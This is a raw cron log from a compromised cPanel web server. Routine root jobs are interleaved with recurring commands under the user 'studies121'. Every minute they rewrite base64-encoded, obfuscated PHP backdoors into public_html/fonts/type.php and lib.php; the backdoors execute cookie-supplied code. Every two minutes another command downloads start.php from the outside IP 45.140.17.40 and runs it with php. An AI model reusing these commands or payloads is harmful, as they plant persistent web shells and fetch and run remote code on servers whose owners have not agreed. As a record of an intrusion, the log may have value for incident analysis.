Sep 12 05:05:01 ip-184-168-122-23 CROND[396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:05:01 ip-184-168-122-23 CROND[397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:05:01 ip-184-168-122-23 CROND[402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:05:01 ip-184-168-122-23 CROND[406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:05:01 ip-184-168-122-23 CROND[404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:05:01 ip-184-168-122-23 CROND[409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:06:01 ip-184-168-122-23 CROND[515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:06:01 ip-184-168-122-23 CROND[518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:06:01 ip-184-168-122-23 CROND[517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:06:01 ip-184-168-122-23 CROND[520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:06:01 ip-184-168-122-23 CROND[521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:07:01 ip-184-168-122-23 CROND[623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:07:01 ip-184-168-122-23 CROND[627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:07:01 ip-184-168-122-23 CROND[628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:07:01 ip-184-168-122-23 CROND[626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:08:01 ip-184-168-122-23 CROND[753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:08:01 ip-184-168-122-23 CROND[751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:08:01 ip-184-168-122-23 CROND[755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:08:01 ip-184-168-122-23 CROND[752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:08:01 ip-184-168-122-23 CROND[754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:09:01 ip-184-168-122-23 CROND[853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:09:01 ip-184-168-122-23 CROND[855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:09:01 ip-184-168-122-23 CROND[857]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 05:09:01 ip-184-168-122-23 CROND[856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:09:01 ip-184-168-122-23 CROND[858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:10:01 ip-184-168-122-23 CROND[975]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:10:01 ip-184-168-122-23 CROND[984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:10:01 ip-184-168-122-23 CROND[987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:10:01 ip-184-168-122-23 CROND[988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:10:01 ip-184-168-122-23 CROND[990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:10:01 ip-184-168-122-23 CROND[992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:10:01 ip-184-168-122-23 CROND[993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:10:01 ip-184-168-122-23 CROND[994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:11:01 ip-184-168-122-23 CROND[1195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:11:01 ip-184-168-122-23 CROND[1196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:11:01 ip-184-168-122-23 CROND[1198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:11:01 ip-184-168-122-23 CROND[1197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:12:01 ip-184-168-122-23 CROND[1293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:12:01 ip-184-168-122-23 CROND[1295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:12:01 ip-184-168-122-23 CROND[1298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:12:01 ip-184-168-122-23 CROND[1297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:12:01 ip-184-168-122-23 CROND[1296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:13:01 ip-184-168-122-23 CROND[1393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:13:01 ip-184-168-122-23 CROND[1394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:13:01 ip-184-168-122-23 CROND[1397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:13:01 ip-184-168-122-23 CROND[1396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:14:01 ip-184-168-122-23 CROND[1564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:14:01 ip-184-168-122-23 CROND[1565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:14:01 ip-184-168-122-23 CROND[1566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:14:01 ip-184-168-122-23 CROND[1568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:14:01 ip-184-168-122-23 CROND[1567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:15:01 ip-184-168-122-23 CROND[1681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:15:01 ip-184-168-122-23 CROND[1684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:15:01 ip-184-168-122-23 CROND[1685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:15:01 ip-184-168-122-23 CROND[1683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:15:01 ip-184-168-122-23 CROND[1687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:15:01 ip-184-168-122-23 CROND[1686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:16:01 ip-184-168-122-23 CROND[1865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:16:01 ip-184-168-122-23 CROND[1870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:16:01 ip-184-168-122-23 CROND[1869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:16:01 ip-184-168-122-23 CROND[1871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:16:01 ip-184-168-122-23 CROND[1868]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:16:01 ip-184-168-122-23 CROND[1867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:17:01 ip-184-168-122-23 CROND[1997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:17:01 ip-184-168-122-23 CROND[1998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:17:01 ip-184-168-122-23 CROND[2001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
